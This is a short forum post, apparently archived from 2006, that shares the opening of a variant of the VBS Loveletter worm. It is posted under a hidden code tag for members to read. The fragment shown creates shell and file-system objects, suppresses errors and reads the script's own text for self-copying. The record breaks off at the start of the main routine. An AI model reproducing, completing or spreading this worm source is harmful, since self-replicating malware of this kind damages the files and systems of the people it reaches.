PDA

View Full Version : VBS.Loveletter.Var



Maewmeaw
29-11-2006, 02:57 AM
[hide=15][code]On Error Resume Next
Rem // I hate Mawanella incident
Set W_S = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()

sub main()